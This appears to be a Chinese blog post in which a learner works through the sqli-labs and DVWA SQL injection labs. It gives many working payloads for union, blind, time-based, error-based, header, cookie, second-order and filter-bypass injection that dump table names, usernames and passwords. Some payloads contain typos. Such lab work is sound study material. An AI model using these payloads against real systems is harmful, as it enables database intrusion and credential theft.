sql注入学习

  • Post author:
  • Post category:其他


提示:萌新学习路程的记录型文章,有错误的地方欢迎大佬们指正。

文章目录




前言

这篇文章主要记录sqli-labs靶场

Sql 注入攻击原理:通过将 Sql 语句插入到应用的输入参数中,当后台 Sql 服务器上解析执行时,进行攻击,进而可以猜解后台数据库。

漏洞产生条件:1、参数 用户可控,2、参数 带入数据库查询。

sql注入的流程: mysql中有一个元数据库, 里面存储了所有整个mysql中有什么数据库, 什么表以及每个表中有哪些字段。

元数据库 –> 数据库 –> 表 –> 字段 –> 内容

 INFORMATION_SCHEMA   :  元数据库
 SCHEMATA             :  里面描述了整个mysql下的所有数据库
 TABLE_SCHEMA         :  数据库名
 TABLE_NAME           :  表名
 COLUMNS              :  存储所有表的所有字段
 COLUMN_NAME          :  字段名



一、SQLi-Labs



1、SQLi-Labs下载、安装(环境搭建)



(1) 首先下载解压并移动sqli-labs

下载地址:https://github.com/Audi-1/sqli-labs

在这里插入图片描述

然后将解压后的文件放在了phpStudyZ/WWW路径下。

在这里插入图片描述



(2) 找到sql-connections下的db-creds.inc进行修改

在这里插入图片描述

在这里插入图片描述
改为:

在这里插入图片描述
(注意,修改好后记得保存!!!)



(3) 打开网页:http://ip/sqli-labs/ 进行安装

打开sqli-labs首页,进行数据库配置。点击第一项setup进行安装。

在这里插入图片描述

在这里插入图片描述

可以看到有很多不同的注入点了,分为基本SQL注入、高级SQL注入、SQL堆叠注入、挑战四个部份,总共约75个SQL注入漏洞。

在这里插入图片描述
在这里插入图片描述



二、sql手工注入



复习mysql知识

(数据库、表、字段)mysql命令行

在这里插入图片描述

information_schema 是mysql数据库自带的表,主要保存mqsql数据库服务器的系统信息。

  use information_schema;
 show tables from information_schema;

在这里插入图片描述
该数据库下面有两个表一个是tables和columns。

在这里插入图片描述
查看两个表结构:

desc COLUMNS;
desc TABLES;

在这里插入图片描述
tables表下的

table_name字段下面是所有数据库存在的表名。

table_schema字段下是所有表名对应的数据库名。

在这里插入图片描述

columns表下的

colum_name字段下是所有数据库存在的字段名。

table_schema字段下是所有表名对应的数据库。



第1关、字符型注入



1、 判断是否有sql注入

在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/a7080ef209de474a89ab26024adcea73.png
在这里插入图片描述
输入的id参数不同,返回的结果不同,所以是传入了参数,有注入。



2、判断注入类型


如果是字符型注入

,执行的sql语句就可例如是:

select * from user where id=‘1’;

当我们

输入:

?id=1’#

就相当于执行:

select * from user where id=‘1’#’;

#起到注释作用,即:

select * from user where id=‘1’;

就不会报错。我们浅尝一下:

在这里插入图片描述

返回正确结果,所以这个是字符型注入。

那如果假定它是数字型注入:

执行的sql语句:

select * from users where id = 1;

我们输入:

?id='1#

就不会报错。

在这里插入图片描述
但是这里是报错了,所以假设不成立,这是字符型sql注入。



3、 判断字段数



(1) order by 排序

(asc升序,desc降序)

select 字段名 from  表名 order by 字段名;

注意:列的别名只能在order by中使用,不能在where中使用。


我们这里猜字段的思路就是先判断表中有几个字段

,数字1,2,3,4…代表第几个字段,如果输入n出错,而输入 n-1 未出错,则代表有n-1个字段,就此判断出有几列数据。

?id=1' order by 3 --+

注意:–是起到注释的作用,+是启动空格的作用,在sql中用–注释后面必须加一个空格–才生效,所以我们不一定要用–+,可以用– 加上空格在加上任意字符,都行。

在这里插入图片描述

再次输入:

?id=1'order by 4 --+

出错这说明:数据表只有三列数据,也即是三个字段。

在这里插入图片描述

从返回的结果来看是页面返回了两个字段信息,一个是name,一个是password。那这两个字段到底都是第几个字段呢?



(2) uinon查询


联合查询

:两个sql语句一起查询。

使用条件:两张表具有相同的列数,且字段名是一样的。

我们已经知道users表里有三个字段,而且web页面只显示2个字段。当我们利用uinon来进行查询,例如 id=‘1’,查询的三个字段,同时union select 1,2,3。这两个查询语句得到的

两个表对应的列数和数据类型是相同的,并且相互对应。


所以我们要弄明白字段1,2,3对应的字段分别是什么,当我们想要猜解库、表的时候,就能按照顺序顶替。弄清楚是哪一个字段不能在web页面中显示,我们就不用那一个字段来猜解数据。

?id=1' union select 1,2,3 --+

在这里插入图片描述
咦,不对,按说出来的效果不应该是上图。

究其原因应该是写入的语句有问题。应该为:

?id=-1'union select 1,2,3--+

在这里插入图片描述
这是为什么呢?

首先打开Less-1源代码(index.php文件),找到执行的sql语句命令:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

然后将命令代入进去

SELECT * FROM users WHERE id='1'union select 1,2,3--+' LIMIT 0,1;

也就是:

SELECT * FROM users WHERE id='1'union select 1,2,3;

有了这条命令,那我们在mysql命令行进行输入、实验:

在这里插入图片描述
在这里插入图片描述

这里查询的id=’1‘,有这一条数据,所以返回的有数据结果。

当我们换个不存在的id时,例如:id=‘-1’

select * from users where  id='-1'union select 1,2,3;

在这里插入图片描述
返回的没有数据结果,但是可以显示数字。

在这里插入图片描述

这里有个问题,为什么返回结果只返回一行数据??我们去看看源码是怎么样的。

在这里插入图片描述

我们知道我们输入的“–”起到注释效果,所以sql语句里面的limit 0,1被注释掉了。

那么原本limit 0,1的作用是什么呢?

0代表查询结果的索引值(索引值默认从0开始),1代表查询结果返回的数量。

例如:

在这里插入图片描述

既然这个起不到作用了,那肯定还有其他的其这个作用。

当进行注入后,mysql_fetch_array函数进行了作用。它从结果集中取得一行作为关联数组或索引数组,或者二者兼有。

默认取的是哪一行呢?

答:它类似于读取文件,每执行一次读一行,指针跳一下。

while($row = mysql_fetch_array($result)) {
echo $row["a_id"];
echo $row["a_name"];
}

好了,这里

可以看出第二字段第三字段是什么了



4、获取当前数据名和版本号

通过结果知道当前数据看是security,版本是5.5.53。

?id=-1' union select 1,version(),dabase()--+

在这里插入图片描述
在这里可以很好的解释为啥要弄清字段的排列顺序,因为字段1,并不在web页面上显示,如果我们把version()、dabase()任一个放在1的位置上,就不会得到我们想要的结果,不信可以试试。

?id=-1' union select version(),dabase(),3--+
?id=-1' union select dabase(),version(),3--+

好了,我们已经知道当前数据库为security

接着我们来爆表,看看security这个数据库里有几张什么表。



5、爆表

想security这个数据库里有几张什么表,在mysql 命令行里我们可以输入:

 use security;
 select tables from security;

在这里插入图片描述
显而易见,security库里有四张表。但是我们在sqli-labs中如何获取呢?

我们是无法输入相同的命令来获取的。

在这里插入图片描述
我们换一种途径,利用information_schema库来获取security库里的表。

我们再回顾:

在这里插入图片描述
在这里插入图片描述
其实tables表里也就是:

在这里插入图片描述

我们已经知道库名:where table_schema =‘security’,

我们要(从)from information_schema.tables里面

(选择)select table_name.

这是时候还要用到一个函数—–group_concat()



(1) 函数:group_concat()

所以我们可以这样写:

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述



6、爆字段名

首先自己想一想,我们现在已经获得一个库名、四个表名、一个user表的三个字段名,到这里我感觉已经好很多了,我们可以把剩下的三个表的字段名逐一爆破。

在这里插入图片描述
是的,我忘记的union的使用条件了。而且好像只爆破一个user表就可以了,因为里面包含用户和密码。所以重整思路:找colunm表里的COLUNM_NAME字段名。也就是找table_name字段(表名)为users的所有column_name字段下的所有(字段名)。

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
我们在sql命令行输入得到的结果。

在这里插入图片描述
两者结果相同。



7、破解username和password

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述
可以自己加一个id隔一下账户和密码。



第2关、数值型注入



1、判断是否存在sql注入

在这里插入图片描述

在这里插入图片描述

有sql注入



2、判断注入类型

在这里插入图片描述

整型注入



3、判断字段数

在这里插入图片描述

在这里插入图片描述

三个字段

在这里插入图片描述

字段1 不显示在页面上,字段2对应的是user,字段3对应的是password。



4、爆数据库

在这里插入图片描述
数据库:security

数据库版本:5.5.53



5、爆表

?id=-1'union select 1,2,group_concat(TABLE_NAME) from information_schema.columns where TABLE_SCHEMA='security'

在这里插入图片描述

上面我写出错了,找错表了。应该是:

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

security库里有四个表:emails、referers、uagents、users



6、爆字段名

在这里插入图片描述
字段名:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password



7、破解username和password

在这里插入图片描述
用id间隔开了



第3关、单引号加括号注入

1、判断是否存在sql注入

在这里插入图片描述

在这里插入图片描述

有sql注入



2、判断注入类型

我们打开第三关源代码:

在这里插入图片描述

我们打开第一关源代码:

在这里插入图片描述

我们打开第二关源代码:

在这里插入图片描述

这里我们主要再说明一下字符转换问题。

在源代码中,有:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

当我们输入:

?id=1"--+

相当于:

$sql=“SELECT * FROM users WHERE id=(‘1”–+’) LIMIT 0,1″;

在这里,因为涉及闭合,所以**“–+** 就是相当于字符串,所以id也就是

id=1″–+


因为1”–+这个是一个字符串。而id实际上是int类型

在这里插入图片描述

所以在执行sql语句时,会进行字符转换。

也就是将1″ –+字符串类型转化为数值型,即为1。

这里的转换规则就是:

1.前面有数字 就按照数字来,例如:123adasd 就会转化为123。

2.如果没有数字,就转化成浮点数。

例如这条语句能够查询出来东西吗?

在这里插入图片描述

在这里插入图片描述

答:不可以,因为要转化成浮点数。如果是2aasd 的话就可以,因为会转化为id=2 是test。

在这里插入图片描述

注入类型时是单引号字符型且有括号



7、破解username和password

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

这种一般就是手工打的符号错误什么的,这里是我们没有闭合,应该是:

?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述



第4关、双引号加括号型注入

在这里插入图片描述

这一关,与之前的那几关有些不一样,那就是开始对输入的id进行修饰,然后再输入到sql命令行。

在这里插入图片描述

php里面.是用来连接的,原句是$id=' " '.$id.' " ';这个意思是把$id变成"$id"。

在这里插入图片描述
刚开始是也是一个一个试的,?id=1,?id=1’ –+,?id=1″–+,?id=1″)–+

这里要注意的是,双引号得是英文的,我就是不小心输成了中文的。

双引号加括号类型

在这里插入图片描述



第5关、基于GET单引号双注入



0、整体思路

从这一关开始就和前面的不一样了,接下来的几关就是盲注。盲注分为布尔盲注、时间盲注、报错盲注。根据页面显示的结果(you are in…/error),我们可以判定这是布尔盲注。布尔盲注所需要用到的知识有:

1、burpsuit进行爆库、爆表、爆字段名。

2、substring()函数和length()函数

我们在猜解数据库的时候,大致思路就是各自先判断数据库名/所有表名/字段名 的长度,然后根据长度利用burp进行暴力破解。



1、判断是否存在sql注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述



2、判断字段数

在这里插入图片描述

在这里插入图片描述



3、利用burp爆破数据库名

在这里插入图片描述

本来这两步我们是要先获取字段具体位置数,然后再获取数据库名和版本信息号的,但是因为页面不返回具体结果,所以我们无法进行这两步。怎么样才能获取数据库信息呢?如果无法直接获得数据库名,我们还可以从哪些角度获得我们需要的信息呢?

新的角度就是:通过利用length()函数,判断数据库的长度,然后进行爆库。

?id=1' and length(database())>=1--+

在这里插入图片描述

?id=1' and length(database())>=8--+

在这里插入图片描述

?id=1' and length(database())=8--+

在这里插入图片描述
数据库名长度为8


接下来使用burp爆库:


首先找到要抓的包,可以使用filter输入url进行过滤,

在这里插入图片描述

然后发送包到intruder这个模块,选择Cluster Bomb模式,并添加要爆破的参数。

在这里插入图片描述
其实这个是爆数据库名长度。

我们现在要爆库就要更改构造payload

?id=1' and substring(database(),1,1)='a'--+

substring()函数,顾名思义,sub-前缀有断的意思,而string是字符串的意思,所以这个函数就是隔断

在这里插入图片描述

然后就send intruder,进入intruder模块。

首先选择intruder的攻击模式,攻击模式有四种:

在这里插入图片描述

sinper攻击方式主要是将bp截的包各个用$$符号标记的数据进行逐个遍历替换。

Battering ram这种攻击方式是将包内所有标记的数据进行同时替换再发出

这里选择的是Cluster bomb。

Pitchfork这种攻击方式是将四个被标记的位置,分别使用各自加入的payload进行替换。

Cluster bomb这个方法是将四个字典所有可能的结果都进行了尝试,可以理解为暴力破解,穷举法。


这里选择的是Cluster bomb。


然后选择参数,


在选择参数变量前,我们首先

Clear$

,清除已设置的变量参数,然后在选择参数,进行

Add$

,也就是进行添加参数变量。这里我们要改变的是1和a。

第一个1,指的是数据库名的第一个字母,a代表的是数据库名的第一字母是a,所以我们选择这两个作为参数变量。

关于参数变量,我们还需要分别设置一下。

在这里插入图片描述

payload set 1 代表的是参数1,这里选择的类型是number,数字型。因为这里代表的是数据库名的第n个字母,我们已经知道数据库名的长度是8,所以我们就是from 1 to 8。

在这里插入图片描述
他可以进行这样的判断。

?id=1’ and substring(database(),1,1)=‘a’–+

?id=1’ and substring(database(),2,1)=‘a’–+

?id=1’ and substring(database(),3,1)=‘a’–+

?id=1’ and substring(database(),4,1)=‘a’–+

?id=1’ and substring(database(),5,1)=‘a’–+

?id=1’ and substring(database(),6,1)=‘a’–+

?id=1’ and substring(database(),7,1)=‘a’–+

?id=1’ and substring(database(),8,1)=‘a’–+

同理:

在这里插入图片描述
最后点击start attack进行爆破即可。

在这里插入图片描述
得到结果:

根据length长度的不同可以区分出来爆破的结果。

在这里插入图片描述

按照数字从小到大排序

1—-s

2—-e

3—-c

4—-u

5—-r

6—-i

7—-t

8—-y

所以数据库名为security。



4、爆表



(1)、所有表名的总长度

判断security库下的所有表名长度是否大于等于27,这里我不想一个个手试,所以也利用burp了。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>=27--+

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
由上图可是所有表加一起的长度为29。

在这里插入图片描述
在这里插入图片描述
独立查每一个表的长度加起来为啥是26呢?是不是感觉好奇怪哈哈,其实忘了group_concat()这个函数,他的默认分隔符;其实也是被算进了所有表的字符长度里面。但是在不知道security库有几个表的情况下,好像来算所有表的字符长度意义不算大,所以我们还需要判断出有几个表。



(2)、表的个数及长度
?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))--+
?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))--+
?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit 2,1))--+
?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit 3,1))--+

在这里插入图片描述

?id=1'and length((select table_name from information_schema.tables where table_schema='security' limit 4,1))--+

在这里插入图片描述
这里主要是通过limit函数进行判断的。在这里可能会注意到为啥要加length,判断表的个数好像跟这个没关系,在这里我犯了一个错误,就是在sql语句中,and后面是不能跟查询select语句的,所以才会这么写的。

关于表的长度:

?id=1’and length((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1))>=5–+

在这里插入图片描述
判断每个表名的长度可以利用burosuit

在这里插入图片描述

在这里插入图片描述

所以表一名的长度为6。



(3)、爆出表的名

爆表一名:

在这里插入图片描述

在这里插入图片描述
表一名:emails

?id=1' and substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --+

接着就可以爆出其他三个表名

在这里插入图片描述
猜测账户名和密码在users表中



5、爆字段名

这里就是爆users表中的字段名。

在这里插入图片描述



(1)、判断users表里共有几个字段
?id=1'and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>=1--+

这里的思路是,字段名的长度肯定大于等于1,只有有字段数,这个就返回为真。所以利用limit函数判断字段数。而且语句中的limt是从0开始索引的。

在这里插入图片描述
根据结果可知总共有11个字段。

判断每个字段的长度:

?id=1'and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=19--+

在这里插入图片描述
第1个字段名长度为7;

第2个字段名长度为10;

第3个字段名长度为9;

第4个字段名长度为4;

第5个字段名长度为8;

第6个字段名长度为6;

第7个字段名长度为10;

第8个字段名长度为12;

第9个字段名长度为2;

第10个字段名长度为8;

第11个字段名长度为8;

我猜测用户名和密码是user 和password

长度应该是4和8,所以找字段3和字段5、10、11。



(2)、破解字段名

第一个字段名:

在这里插入图片描述

在这里插入图片描述

这里我猜测第一个字段名为user_id

?id=1' and(select column_name from information_schema.columns where table_name='users' limit 0,1)='user_id' --+

在这里插入图片描述
猜测正确!

第四个字段

?id=1' and substring((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1)='r' --+

在这里插入图片描述
第四个字段为:user

第五个字段为:password

在这里插入图片描述



6、破解用户和密码

?id=1' and substring((select user from security.users limit 0,1),1,1)='r' --+

在这里插入图片描述
这里爆错了,为什么呢?security库里的users表中没有user这个字段,可是刚刚明明查到了有user这个字段的。注意,我们刚刚获得的一切字段名的相关信息都是从源数据库information_schema库里的tables和columns表查到的。刚刚我们的sql语句执行的是,表名为users的所有字段名,这里肯定不仅仅只有security库里有users表,肯定其他库也有users表,所以才会得到那么多的字段。

所以我们还要把其他字段全部爆破。

得到的结果就是存在11个这些字段:

在这里插入图片描述
所以我们尝试一下username

在这里插入图片描述

?id=1' and substring((select username from security.users limit 0,1),1,1)='r' --+

在这里插入图片描述
在这里插入图片描述

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))=50--+

在这里插入图片描述



第6关、基于GET双引号双注入



第7关、基于文件写入注入



第8关、基于GET单引号布尔型盲注



第9关、基于GET单引号基于时间盲注

这里举个小例子就是判断当前数据库下users表的字段总长度。

不管输入什么页面显示都一样这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别,只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。

判断类型:

输入一个为真的1=1,但是页面响应并没有sleep

在这里插入图片描述

可能为单引号注入:

在这里插入图片描述
猜测正确。

这里举个小例子就是判断当前数据库下users表的字段总长度。

?id=1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’))=20,sleep(5),1)–+

在这里插入图片描述

在这里插入图片描述
这里利用burp通过判断响应时间来得出结果。



第10关、基于GET双引号基于时间盲注

同第九关。



第11关、基于错误的POST型单引号字符型注入

post方法与get方法有所不同,它不能在url中直接输入参数,但可以借助hackbar工具。

首先在登陆框中随意输入登录信息,然后利用burpsuit抓包

在这里插入图片描述

获得红框中的信息后,

打开hackbar工具,

在这里插入图片描述

这样就可以在post data框下输入参数信息了。

值得注意一点的是,–+可以用在url里,但是用post方法的时候,注释符号要用#。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述



第12关、基于错误的POST型双引号字符型注入

同11关。单双引号不同。



第18关、user_agent注入(http头部参数数据注入)报错注入

报错注入是盲注的一种,因为页面不回显,我们就硬让她回显,然后利用报错信息,获得我们需要的内容。

floor、updatexml、exactvalue

注入点为 User-Agent

注入方式为 错误注入



(1)、查看源码信息

在这里插入图片描述
在这里插入图片描述

在这里可以看出提交方法为$server()

在这里插入图片描述

这里的是insrt插入语句。

这里可以看到闭合方式:

在这里插入图片描述
我们想要在页面上显示执行的insert sql语句:所以添加一行输出语句。

在这里插入图片描述

注意这个是一个判断语句,

如果输入的参数正确,那就执行,所以我们只有输入正确的username、password时,才会执行我们添加的输出语句。

在这里插入图片描述

在这里插入图片描述



(2)、burpsuit-repeater模块

在这里插入图片描述
更改user_agent为:aaa

在这里插入图片描述



(3)、爆库

报错注入:

在这里插入图片描述

' and updatexml(1,concat(0x7e,(select database())),1) and '



第19关、基于POST错误的Referer字段数据头注入

注入点在Referer参数,payload一样只是参数位置不同。

在这里插入图片描述
Remote Address代表的是当前HTTP请求的远程地址,即HTTP请求的源地址。HTTP协议在三次握手时使用的就是这个Remote Address地址,在发送响应报文时也是使用这个Remote Address地址。因此,如果请求者伪造Remote Address地址,他将无法收到HTTP的响应报文,此时伪造没有任何意义。这也就使得Remote Address默认具有防篡改的功能.
在这里插入图片描述
注意这是在登陆后,进行的。

' and (extractvalue('anything',concat('~',(select version())))) and'

当不知道他的前后有几个参数,我们可以使用and进行连接,

0x7E是 ~符号



第20关、基于错误的cookie头部POST注入

登录做了过滤,注点不在登录页面。

在这里插入图片描述
因为check_input()函数对参数做了过滤,这个参数是通过post方法进行传入的。所以我们不能再从post方法下手。

我们采用cookie注入下手。

我们可以在源代码中添加ecso $sql,这样可以更加直观的观测到对参数做了什么样的改动。

这里是正常输入username,password:

在这里插入图片描述
这里是在尝试输入sql注入语句,经过check_input函数过滤后,而实际执行的:

在这里插入图片描述

所以,当我们输入正确的username、password后,才可以获得cookie。

注意:cookie注入是因为从源代码中看到到cookie没有设置过滤,所以用cookie注入,在实际情况中,可以通过网站指纹意外源码审计,没有源码的情况下可以先试试get注入post注入,然后再试cookie。

用户名:Dumb

密码:Dumb

在这里插入图片描述

burpsuit:

在这里插入图片描述
这里是将抓到的包 send repeater 在这个模块下进行sql注入。

在这里插入图片描述



第21关、基于报错的加密注入



第23关、基于GET错误的过滤注释

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

?id=1' or '1'='1
?id=-1' union select 1,2,3 or '1'='1

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
从这个结果可以获得字段名显位.



第24关、二次注入

二次注入原理:

主要分为两步:

第一步:寻找插入数据库并会转义的操作(例如注册页面),

插入恶意数据

( 例如输入参数:1‘),在数据库插入数据时会对特殊字符进行转义(参数1’经过转移函数会变成:1’ ) 。这样参数就进到了数据库中(参数进入数据库存储还原为1’)。

寻找另一处引用这个数据的操作,然后进行第二步:

第二步: 引用恶意数据,将数据从数据库中取出(将参数1’从数据库中 取出),取出后直接给变量并带入sql,sql注入触发。

其实就是注册一个恶意代码的用户,然后网站调用用户名的时候·,恶意代码就会执行。

注册用户-修改用户。



(1)、插入恶意数据

注册页面:

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

这两幅图验证了数据参数输入和参数存储到数据库中的时候是一致的。



(2)、引用恶意数据

先登录用户,然后修改密码

修改Dumb‘#密码为sssssss

在这里插入图片描述
在这里插入图片描述
奇怪的事情发生了。。。。。

在这里插入图片描述

我们现在看看源代码:

在这里插入图片描述

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

username=‘Dumb’# 这里闭合了

所以就成了username=’Dumb’了,也就是修改Dumb的密码了。

我们可以在修改密码时,进行二次注入,将sql语句加到密码上。



第25关、基于错误的GET单引号-你的OR及AND归我所有

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

or被过滤掉了。

使用union函数:

破解数据库,表,字段

在这里插入图片描述
在这里插入图片描述
绕过注入,具体如下:

(1)、双写绕过

字母双写加#

在这里插入图片描述

?id=1' oorr extractvalue(null,concat(0x7e,database(),0x7e))%23

在这里插入图片描述

(2)、符号替换

or等同于 ||

and等同于 &&

在这里插入图片描述



第25a关、基于盲注的GET整型-你的OR及AND归我所有

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

?id=-1 union select 1,(select group_concat(username,passwoorrd) from users),3



第26关、基于GET错误-你的空格和注释归我所有

在这里插入图片描述
从源码看除了过滤or和and外还过滤了#和–还有斜杠和*号和空格.

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

绕过方式:

双写绕过逻辑运算符或者使用&&和||替换。

空格使用()绕过。

updatexml函数最多输出32个字节只能一个个爆。

在这里插入图片描述

?id=6'||(updatexml(0x7e,concat(0x7e,(select(group_concat(passwoorrd,id,username))from(users) )),0x7e)) aandnd '1'='1



第26a关、



第27关、

?id=1’or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema=‘security’))),1))or’0 爆表

?id=1’or(updatexml(1,

concat(

0x7e

,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema=’security’and(table_name=‘users’))))

,

1

))or’0 爆字段

?id=1’or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or’0 爆密码账户

在这里插入图片描述



第27a关、

在这里插入图片描述

?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1

在这里插入图片描述



第28关、

输入?id=1 ?id=2后判断有注入

在这里插入图片描述
判断为字符型

在这里插入图片描述

在这里插入图片描述
判断带括号

在这里插入图片描述

在这里插入图片描述

重写绕过

?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

%0A是换行符

在这里插入图片描述



第28a关、

只过滤union+select

?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述



总结

url中 ?代表传值的意思,id代表变量,后面的”=”代表变量的值。

首先判断是否存在对参数过滤的情况:

我们知道



1、union函数:

 select * from users where id='-1' union select 1,2,3 or '1'='1' LIMIT 0,1 ;

在这里插入图片描述
拆开来打:

select * from users;

在这里插入图片描述
`

select * from users limit 0,1;

在这里插入图片描述

SELECT * FROM users WHERE id='-1' limit 0,1;

在这里插入图片描述
这里是没有id=-1的id。

在这里返回值虽然为空,但是其实是返回的一个空表

在这里插入图片描述

原表是:

在这里插入图片描述
注意union的使用条件就是两个表的查询结果可以合并在一起,所以这个表有三个字段,第二个查询的结果表也得是三个字段,否则会报错。

好,我们再看另一个union后面的查询。

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

所以最后得出的表就是两表合并的结果:

在这里插入图片描述

即:

在这里插入图片描述



三、sql注入测试工具—sqlmap

在这里插入图片描述
在这里插入图片描述



三、dvwa sql盲注

输入1说有存在 输入1000 就不存在了,通过不断测试 发现就两种状态,网络搜索了一下就发现了是sql盲注

测试过程

测试发现

3’ # 正常存在 在次中间插入payload 尝试 发现payload起了效果

尝试爆破数据库名字长度

1' and length(database())=4 # 

1' and length(database())=5 # 

当4的时候就是正确的 5是错误的 那也就是说明长度是 4

理解dvwa的盲注应该是bool盲注 可以根据返回的结果知道语句的正确性 然后可以一步步的爆破出来数据库名和表名 然后获取到数据。

疑惑解答

看到别的大佬文章说的测试,有疑问的是 3、4 没有闭合 况且为啥会显示存在

"SELECT first_name, last_name FROM users WHERE user_id = '1     and 1=1 #';"; 

如果按照3 就是这个状态 其中 user_id是’1 and 1=1 #’ 在这里 #是一个字符,并不存在于 sql语句中

2.为什么会显示存在

问了一个大佬

也就是说在sql类型比对中如果两个参数类型不同,那么会进行类型转换

这里是

1.前面有数字 就按照数字来 123adasd 就是123

2.如果没有数字 就转化成0

所以user_id 此时是’1’ 所以就存在了!



版权声明:本文为qq_45590470原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。